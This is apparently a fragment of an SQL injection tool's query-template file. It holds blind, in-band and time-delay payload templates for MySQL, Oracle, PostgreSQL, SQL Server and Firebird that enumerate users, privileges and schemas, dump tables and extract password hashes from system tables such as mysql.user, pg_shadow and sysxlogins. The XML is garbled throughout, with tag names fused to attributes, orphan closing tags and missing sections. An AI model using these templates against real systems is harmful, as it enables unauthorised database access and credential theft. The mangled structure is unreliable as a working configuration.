<blindquery="SELECT DISTINCT(grantee) FROM information_schema.USER_PRIVILEGES LIMIT %d, 1"query2="SELECT DISTINCT(user) FROM mysql.user LIMIT %d, 1"count="SELECT COUNT(DISTINCT(grantee)) FROM information_schema.USER_PRIVILEGES"count2="SELECT COUNT(DISTINCT(user)) FROM mysql.user"/>
<blindquery="SELECT DISTINCT(password) FROM mysql.user WHERE user='%s' LIMIT %d, 1"count="SELECT COUNT(DISTINCT(password)) FROM mysql.user WHERE user='%s'"/>
<blindquery="SELECT DISTINCT(schema_name) FROM information_schema.SCHEMATA LIMIT %d, 1"query2="SELECT DISTINCT(db) FROM mysql.db LIMIT %d, 1"count="SELECT COUNT(DISTINCT(schema_name)) FROM information_schema.SCHEMATA"count2="SELECT COUNT(DISTINCT(db)) FROM mysql.db"/>
<blindquery="SELECT table_name FROM information_schema.TABLES WHERE table_schema='%s' LIMIT %d, 1"count="SELECT COUNT(table_name) FROM information_schema.TABLES WHERE table_schema='%s'"/>
<inbandquery="SELECT column_name, column_type FROM information_schema.COLUMNS WHERE table_name='%s' AND table_schema='%s'"condition="column_name"/>
<blindquery="SELECT column_name FROM information_schema.COLUMNS WHERE table_name='%s' AND table_schema='%s'"query2="SELECT column_type FROM information_schema.COLUMNS WHERE table_name='%s' AND column_name='%s' AND table_schema='%s'"count="SELECT COUNT(column_name) FROM information_schema.COLUMNS WHERE table_name='%s' AND table_schema='%s'"condition="column_name"/>
<inbandquery="SELECT schema_name FROM information_schema.SCHEMATA WHERE "query2="SELECT db FROM mysql.db WHERE "condition="schema_name"condition2="db"/>
<blindquery="SELECT DISTINCT(schema_name) FROM information_schema.SCHEMATA WHERE "query2="SELECT DISTINCT(db) FROM mysql.db WHERE "count="SELECT COUNT(DISTINCT(schema_name)) FROM information_schema.SCHEMATA WHERE "count2="SELECT COUNT(DISTINCT(db)) FROM mysql.db WHERE "condition="schema_name"condition2="db"/>
<inbandquery="SELECT table_schema, table_name FROM information_schema.TABLES WHERE "condition="table_name"condition2="table_schema"/>
<blindquery="SELECT DISTINCT(table_schema) FROM information_schema.TABLES WHERE "query2="SELECT DISTINCT(table_name) FROM information_schema.TABLES WHERE table_schema='%s'"count="SELECT COUNT(DISTINCT(table_schema)) FROM information_schema.TABLES WHERE "count2="SELECT COUNT(DISTINCT(table_name)) FROM information_schema.TABLES WHERE table_schema='%s'"condition="table_name"condition2="table_schema"/>
<blindquery="SELECT DISTINCT(table_schema) FROM information_schema.COLUMNS WHERE "query2="SELECT DISTINCT(table_name) FROM information_schema.COLUMNS WHERE table_schema='%s'"count="SELECT COUNT(DISTINCT(table_schema)) FROM information_schema.COLUMNS WHERE "count2="SELECT COUNT(DISTINCT(table_name)) FROM information_schema.COLUMNS WHERE table_schema='%s'"condition="column_name"condition2="table_schema"/>
<blindquery="SELECT DISTINCT(USERNAME) FROM (SELECT DISTINCT(USERNAME), ROWNUM AS LIMIT FROM SYS.ALL_USERS) WHERE LIMIT=%d"count="SELECT COUNT(DISTINCT(USERNAME)) FROM SYS.ALL_USERS"/>
<blindquery="SELECT DISTINCT(PASSWORD) FROM (SELECT DISTINCT(PASSWORD), ROWNUM AS LIMIT FROM SYS.USER$ WHERE NAME='%s') WHERE LIMIT=%d"count="SELECT COUNT(DISTINCT(PASSWORD)) FROM SYS.USER$ WHERE NAME='%s'"/>
<inbandquery="SELECT GRANTEE, PRIVILEGE FROM DBA_SYS_PRIVS"query2="SELECT USERNAME, PRIVILEGE FROM USER_SYS_PRIVS"condition="GRANTEE"condition2="USERNAME"/>
<blindquery="SELECT DISTINCT(PRIVILEGE) FROM (SELECT DISTINCT(PRIVILEGE), ROWNUM AS LIMIT FROM DBA_SYS_PRIVS WHERE GRANTEE='%s') WHERE LIMIT=%d"query2="SELECT DISTINCT(PRIVILEGE) FROM (SELECT DISTINCT(PRIVILEGE), ROWNUM AS LIMIT FROM USER_SYS_PRIVS WHERE USERNAME='%s') WHERE LIMIT=%d"count="SELECT COUNT(DISTINCT(PRIVILEGE)) FROM DBA_SYS_PRIVS WHERE GRANTEE='%s'"count2="SELECT COUNT(DISTINCT(PRIVILEGE)) FROM USER_SYS_PRIVS WHERE USERNAME='%s'"/>
NOTE: in Oracle to enumerate the roles for the session user you can use:
SELECT * FROM SESSION_ROLES
-->
<roles>
<inbandquery="SELECT GRANTEE, GRANTED_ROLE FROM DBA_ROLE_PRIVS"query2="SELECT USERNAME, GRANTED_ROLE FROM USER_ROLE_PRIVS"condition="GRANTEE"condition2="USERNAME"/>
<blindquery="SELECT DISTINCT(GRANTED_ROLE) FROM (SELECT DISTINCT(GRANTED_ROLE), ROWNUM AS LIMIT FROM DBA_ROLE_PRIVS WHERE GRANTEE='%s') WHERE LIMIT=%d"query2="SELECT DISTINCT(GRANTED_ROLE) FROM (SELECT DISTINCT(GRANTED_ROLE), ROWNUM AS LIMIT FROM USER_ROLE_PRIVS WHERE USERNAME='%s') WHERE LIMIT=%d"count="SELECT COUNT(DISTINCT(GRANTED_ROLE)) FROM DBA_ROLE_PRIVS WHERE GRANTEE='%s'"count2="SELECT COUNT(DISTINCT(GRANTED_ROLE)) FROM USER_ROLE_PRIVS WHERE USERNAME='%s'"/>
<!-- NOTE: in Oracle there is no query to enumerate DBMS databases. It is possible only through a STATUS request to the Oracle TNS Listener negotiating its protocol -->
<dbs/>
<tables>
<!-- NOTE: in Oracle the TABLESPACE_NAME is the spacename corresponding to SYS, SYSDBA, USERS. It is NOT the database name -->
<inbandquery="SELECT TABLESPACE_NAME, TABLE_NAME FROM SYS.ALL_TABLES"condition="TABLESPACE_NAME"/>
<blindquery="SELECT TABLE_NAME FROM (SELECT TABLE_NAME, ROWNUM AS LIMIT FROM SYS.ALL_TABLES WHERE TABLESPACE_NAME='%s') WHERE LIMIT=%d"count="SELECT COUNT(TABLE_NAME) FROM SYS.ALL_TABLES WHERE TABLESPACE_NAME='%s'"/>
<inbandquery="SELECT COLUMN_NAME, DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s'"condition="COLUMN_NAME"/>
<blindquery="SELECT COLUMN_NAME FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s'"query2="SELECT DATA_TYPE FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s' AND COLUMN_NAME='%s'"count="SELECT COUNT(COLUMN_NAME) FROM SYS.ALL_TAB_COLUMNS WHERE TABLE_NAME='%s'"condition="COLUMN_NAME"/>
<!-- NOTE: in Oracle the TABLESPACE_NAME is the spacename corresponding to SYS, SYSDBA, USERS. It is NOT the database name -->
<inbandquery="SELECT TABLESPACE_NAME, TABLE_NAME FROM SYS.ALL_TABLES WHERE "condition="TABLE_NAME"condition2="TABLESPACE_NAME"/>
<blindquery="SELECT DISTINCT(TABLESPACE_NAME) FROM SYS.ALL_TABLES WHERE "query2="SELECT TABLE_NAME FROM SYS.ALL_TABLES WHERE TABLESPACE_NAME='%s'"count="SELECT COUNT(DISTINCT(TABLESPACE_NAME)) FROM SYS.ALL_TABLES WHERE "count2="SELECT COUNT(TABLE_NAME) FROM SYS.ALL_TABLES WHERE TABLESPACE_NAME='%s'"condition="TABLE_NAME"condition2="TABLESPACE_NAME"/>
<inbandquery="SELECT TABLE_NAME FROM SYS.ALL_TAB_COLUMNS WHERE "condition="COLUMN_NAME"/>
<blindquery=""query2="SELECT DISTINCT(TABLE_NAME) FROM SYS.ALL_TAB_COLUMNS"count=""count2="SELECT COUNT(DISTINCT(TABLE_NAME)) FROM SYS.ALL_TAB_COLUMNS"condition="COLUMN_NAME"/>
<timedelayquery="SELECT PG_SLEEP(%d)"query2="SELECT 'sqlmap' WHERE exists(SELECT * FROM generate_series(1, 300000%d))"query3="CREATE OR REPLACE FUNCTION sleep(int) RETURNS int AS '/lib/libc.so.6', 'sleep' language 'C' STRICT; SELECT sleep(%d)"/>
<blindquery="SELECT DISTINCT(passwd) FROM pg_shadow WHERE usename='%s' OFFSET %d LIMIT 1"count="SELECT COUNT(DISTINCT(passwd)) FROM pg_shadow WHERE usename='%s'"/>
<inbandquery="SELECT usename, (CASE WHEN usecreatedb THEN 1 ELSE 0 END), (CASE WHEN usesuper THEN 1 ELSE 0 END), (CASE WHEN usecatupd THEN 1 ELSE 0 END) FROM pg_user"condition="usename"/>
<blindquery="SELECT (CASE WHEN usecreatedb THEN 1 ELSE 0 END), (CASE WHEN usesuper THEN 1 ELSE 0 END), (CASE WHEN usecatupd THEN 1 ELSE 0 END) FROM pg_user WHERE usename='%s' OFFSET %d LIMIT 1"count="SELECT COUNT(DISTINCT(usename)) FROM pg_user WHERE usename='%s'"/>
<blindquery="SELECT tablename FROM pg_tables WHERE schemaname='%s' OFFSET %d LIMIT 1"count="SELECT COUNT(tablename) FROM pg_tables WHERE schemaname='%s'"/>
<inbandquery="SELECT attname, typname FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'"condition="attname"/>
<blindquery="SELECT attname FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'"query2="SELECT typname FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relname='%s' AND a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND attname='%s' AND nspname='%s'"count="SELECT COUNT(attname) FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND a.relname='%s' AND nspname='%s'"condition="attname"/>
<inbandquery="SELECT datname FROM pg_database WHERE "query2=""condition="datname"condition2=""/>
<blindquery="SELECT DISTINCT(datname) FROM pg_database WHERE "query2=""count="SELECT COUNT(DISTINCT(datname)) FROM pg_database WHERE "count2=""condition="datname"condition2=""/>
<inbandquery="SELECT schemaname, tablename FROM pg_tables WHERE "condition="tablename"condition2="schemaname"/>
<blindquery="SELECT DISTINCT(schemaname) FROM pg_tables WHERE "query2="SELECT tablename FROM pg_tables WHERE schemaname='%s'"count="SELECT COUNT(DISTINCT(schemaname)) FROM pg_tables WHERE "count2="SELECT COUNT(tablename) FROM pg_tables WHERE schemaname='%s'"condition="tablename"condition2="schemaname"/>
<inbandquery="SELECT nspname, relname FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND "condition="attname"condition2="nspname"/>
<blindquery="SELECT DISTINCT(nspname) FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND "query2="SELECT DISTINCT(relname) FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND nspname='%s'"count="SELECT COUNT(DISTINCT(nspname)) FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND "count2="SELECT COUNT(DISTINCT(relname)) FROM pg_namespace, pg_type, pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND pg_type.oid=b.atttypid AND attnum>0 AND nspname='%s'"condition="attname"condition2="nspname"/>
<blindquery="SELECT TOP 1 name FROM master..syslogins WHERE name NOT IN (SELECT TOP %d name FROM master..syslogins)"query2="SELECT TOP 1 name FROM sys.sql_logins WHERE name NOT IN (SELECT TOP %d name FROM sys.sql_logins)"count="SELECT LTRIM(STR(COUNT(name))) FROM master..syslogins"count2="SELECT LTRIM(STR(COUNT(name))) FROM sys.sql_logins"/>
<inbandquery="SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins"query2="SELECT name, master.dbo.fn_varbintohexstr(password_hash) FROM sys.sql_logins"condition="name"/>
<blindquery="SELECT TOP 1 master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins WHERE name='%s' AND name NOT IN (SELECT TOP %d name FROM master..sysxlogins WHERE name='%s')"query2="SELECT TOP 1 master.dbo.fn_varbintohexstr(password_hash) FROM sys.sql_logins WHERE name='%s' AND name NOT IN (SELECT TOP %d name FROM sys.sql_logins WHERE name='%s')"count="SELECT LTRIM(STR(COUNT(password))) FROM master..sysxlogins WHERE name='%s'"count2="SELECT LTRIM(STR(COUNT(password_hash))) FROM sys.sql_logins WHERE name='%s'"/>
<blindquery="SELECT TOP 1 name FROM master..sysdatabases WHERE name NOT IN (SELECT TOP %d name FROM master..sysdatabases)"count="SELECT LTRIM(STR(COUNT(name))) FROM master..sysdatabases"/>
<blindquery="SELECT TOP 1 name FROM %s..sysobjects WHERE xtype IN ('u', 'v') AND name NOT IN (SELECT TOP %d name FROM %s..sysobjects WHERE xtype IN ('u', 'v'))"count="SELECT LTRIM(STR(COUNT(name))) FROM %s..sysobjects WHERE xtype IN ('u', 'v')"/>
<inbandquery="SELECT %s..syscolumns.name, TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns, %s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'"condition="[DB]..syscolumns.name"/>
<blindquery="SELECT %s..syscolumns.name FROM %s..syscolumns, %s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'"query2="SELECT TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns, %s..sysobjects WHERE %s..syscolumns.name='%s' AND %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'"count="SELECT LTRIM(STR(COUNT(name))) FROM %s..syscolumns WHERE id=(SELECT id FROM %s..sysobjects WHERE name='%s')"condition="[DB]..syscolumns.name"/>
<!--<blind query="SELECT TOP 1 %s FROM %s..%s WHERE %s NOT IN (SELECT TOP %d %s FROM %s..%s)" count="SELECT LTRIM(STR(COUNT(*))) FROM %s..%s"/>-->
<blindquery="SELECT TOP 1 %s FROM (SELECT TOP 1 * FROM ( SELECT TOP %d * FROM %s..%s ORDER BY %s ASC ) AS t1 ORDER BY %s DESC) AS t2 ORDER BY %s ASC"count="SELECT LTRIM(STR(COUNT(*))) FROM %s..%s"/>
<inbandquery="SELECT name FROM %s..sysobjects WHERE xtype IN ('u', 'v') AND "condition="name"condition2="name"/>
<blindquery=""query2="SELECT name FROM %s..sysobjects WHERE xtype IN ('u', 'v') "count=""count2="SELECT LTRIM(STR(COUNT(name))) FROM %s..sysobjects WHERE xtype IN ('u', 'v')"condition="name"condition2="name"/>
<inbandquery="SELECT %s..sysobjects.name FROM %s..syscolumns, %s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id"condition="[DB]..syscolumns.name"/>
<blindquery=""query2="SELECT %s..sysobjects.name FROM %s..syscolumns, %s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id"count=""count2="SELECT COUNT(%s..sysobjects.name) FROM %s..syscolumns, %s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id"condition="[DB]..syscolumns.name"/>
<timedelayquery="SELECT COUNT(*) FROM RDB$DATABASE AS T1, RDB$FIELDS AS T2, RDB$FUNCTIONS AS T3, RDB$TYPES AS T4, RDB$FORMATS AS T5, RDB$COLLATIONS AS T6"/>
<substringquery="SUBSTRING((%s) FROM %d FOR %d)"/>
<casequery="SELECT IIF(%s,1,0) FROM RDB$DATABASE"/>
<bannerquery="SELECT RDB$GET_CONTEXT('SYSTEM', 'ENGINE_VERSION') FROM RDB$DATABASE"/>
<current_userquery="SELECT CURRENT_USER FROM RDB$DATABASE"/>
<current_dbquery="SELECT RDB$GET_CONTEXT('SYSTEM', 'DB_NAME') FROM RDB$DATABASE"/>
<users>
<inbandquery="SELECT DISTINCT RDB$USER FROM RDB$USER_PRIVILEGES"/>
<blindquery="SELECT FIRST 1 SKIP %d DISTINCT(RDB$USER) FROM RDB$USER_PRIVILEGES"count="SELECT COUNT(DISTINCT(RDB$USER)) FROM RDB$USER_PRIVILEGES"/>
</users>
<inferencequery="AND ASCII_VAL(SUBSTRING((%s) FROM %d FOR 1)) > %d"/>
<is_dbaquery="CURRENT_USER='SYSDBA'"/>
<tables>
<inbandquery="SELECT RDB$RELATION_NAME FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG = 0)"/>
<blindquery="SELECT FIRST 1 SKIP %d RDB$RELATION_NAME FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG = 0)"count="SELECT COUNT(RDB$RELATION_NAME) FROM RDB$RELATIONS WHERE RDB$VIEW_BLR IS NULL AND (RDB$SYSTEM_FLAG IS NULL OR RDB$SYSTEM_FLAG = 0)"/>
</tables>
<privileges>
<inbandquery="SELECT RDB$USER, RDB$PRIVILEGE FROM RDB$USER_PRIVILEGES"condition="RDB$USER"/>
<blindquery="SELECT FIRST 1 SKIP %d DISTINCT(RDB$PRIVILEGE) FROM RDB$USER_PRIVILEGES WHERE RDB$USER='%s'"count="SELECT COUNT(DISTINCT(RDB$PRIVILEGE)) FROM RDB$USER_PRIVILEGES WHERE RDB$USER='%s'"/>
<!--<inband query="SELECT r.RDB$FIELD_NAME, CASE f.RDB$FIELD_TYPE WHEN 261 THEN 'BLOB' WHEN 14 THEN 'CHAR' WHEN 40 THEN 'CSTRING' WHEN 11 THEN 'D_FLOAT' WHEN 27 THEN 'DOUBLE' WHEN 10 THEN 'FLOAT' WHEN 16 THEN 'INT64' WHEN 8 THEN 'INTEGER' WHEN 9 THEN 'QUAD' WHEN 7 THEN 'SMALLINT' WHEN 12 THEN 'DATE' WHEN 13 THEN 'TIME' WHEN 35 THEN 'TIMESTAMP' WHEN 37 THEN 'VARCHAR' ELSE 'UNKNOWN' END AS field_type FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE = f.RDB$FIELD_NAME WHERE r.RDB$RELATION_NAME='%s'"/>-->
<inbandquery="SELECT r.RDB$FIELD_NAME, f.RDB$FIELD_TYPE FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE = f.RDB$FIELD_NAME WHERE r.RDB$RELATION_NAME='%s'"/>
<blindquery="SELECT r.RDB$FIELD_NAME FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE = f.RDB$FIELD_NAME WHERE r.RDB$RELATION_NAME='%s'"query2="SELECT f.RDB$FIELD_TYPE FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE = f.RDB$FIELD_NAME WHERE r.RDB$RELATION_NAME='%s' AND r.RDB$FIELD_NAME='%s'"count="SELECT COUNT(r.RDB$FIELD_NAME) FROM RDB$RELATION_FIELDS r LEFT JOIN RDB$FIELDS f ON r.RDB$FIELD_SOURCE = f.RDB$FIELD_NAME WHERE r.RDB$RELATION_NAME='%s'"/>
<inbandquery="SELECT name FROM master..syslogins ORDER BY 1"query2="SELECT name FROM sys.sql_logins ORDER BY 1"/>
<blindquery="SELECT TOP 1 name FROM master..syslogins WHERE name NOT IN (SELECT TOP %d name FROM master..syslogins)"query2="SELECT TOP 1 name FROM sys.sql_logins WHERE name NOT IN (SELECT TOP %d name FROM sys.sql_logins)"count="SELECT LTRIM(STR(COUNT(name))) FROM master..syslogins"count2="SELECT LTRIM(STR(COUNT(name))) FROM sys.sql_logins"/>
</users>
<passwords>
<inbandquery="SELECT name, password FROM master..syslogins"query2="SELECT name, password_hash FROM sys.sql_logins"condition="name"/>
<blindquery="SELECT TOP 1 password FROM master..syslogins WHERE name='%s' AND name NOT IN (SELECT TOP %d name FROM master..syslogins WHERE name='%s')"query2="SELECT TOP 1 password_hash FROM sys.sql_logins WHERE name='%s' AND name NOT IN (SELECT TOP %d name FROM sys.sql_logins WHERE name='%s')"count="SELECT LTRIM(STR(COUNT(password))) FROM master..syslogins WHERE name='%s'"count2="SELECT LTRIM(STR(COUNT(password_hash))) FROM sys.sql_logins WHERE name='%s'"/>
</passwords>
<privileges/>
<roles/>
<dbs>
<inbandquery="SELECT name FROM master..sysdatabases ORDER BY 1"/>
<blindquery="SELECT TOP 1 name FROM master..sysdatabases WHERE name NOT IN (SELECT TOP %d name FROM master..sysdatabases)"count="SELECT LTRIM(STR(COUNT(name))) FROM master..sysdatabases"/>
</dbs>
<tables>
<inbandquery="SELECT name FROM %s..sysobjects WHERE type IN ('U') ORDER BY 1"/>
<blindquery="SELECT TOP 1 name FROM %s..sysobjects WHERE type IN ('U') AND name NOT IN (SELECT TOP %d name FROM %s..sysobjects WHERE type IN ('U'))"count="SELECT LTRIM(STR(COUNT(name))) FROM %s..sysobjects WHERE type IN ('U')"/>
</tables>
<columns>
<inbandquery="SELECT %s..syscolumns.name, TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns, %s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'"condition="[DB]..syscolumns.name"/>
<blindquery="SELECT %s..syscolumns.name FROM %s..syscolumns, %s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'"query2="SELECT TYPE_NAME(%s..syscolumns.xtype) FROM %s..syscolumns, %s..sysobjects WHERE %s..syscolumns.name='%s' AND %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'"count="SELECT LTRIM(STR(COUNT(name))) FROM %s..syscolumns WHERE id=(SELECT id FROM %s..sysobjects WHERE name='%s')"condition="[DB]..syscolumns.name"/>
</columns>
<dump_table>
<inbandquery="SELECT %s FROM %s..%s"/>
<blindquery="SELECT TOP 1 %s FROM %s..%s WHERE %s NOT IN (SELECT TOP %d %s FROM %s..%s)"count="SELECT LTRIM(STR(COUNT(*))) FROM %s..%s"/>
</dump_table>
<search_db>
<inbandquery="SELECT name FROM master..sysdatabases WHERE "condition="name"/>
<blindquery="SELECT name FROM master..sysdatabases WHERE "count="SELECT LTRIM(STR(COUNT(name))) FROM master..sysdatabases WHERE "condition="name"/>
</search_db>
<search_table>
<inbandquery="SELECT name FROM %s..sysobjects WHERE type IN ('U') AND "condition="name"condition2="name"/>
<blindquery=""query2="SELECT name FROM %s..sysobjects WHERE type IN ('U') "count=""count2="SELECT LTRIM(STR(COUNT(name))) FROM %s..sysobjects WHERE type IN ('U')"condition="name"condition2="name"/>
</search_table>
<search_column>
<inbandquery="SELECT %s..sysobjects.name FROM %s..syscolumns, %s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id"condition="[DB]..syscolumns.name"/>
<blindquery=""query2="SELECT %s..sysobjects.name FROM %s..syscolumns, %s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id"count=""count2="SELECT COUNT(%s..sysobjects.name) FROM %s..syscolumns, %s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id"condition="[DB]..syscolumns.name"/>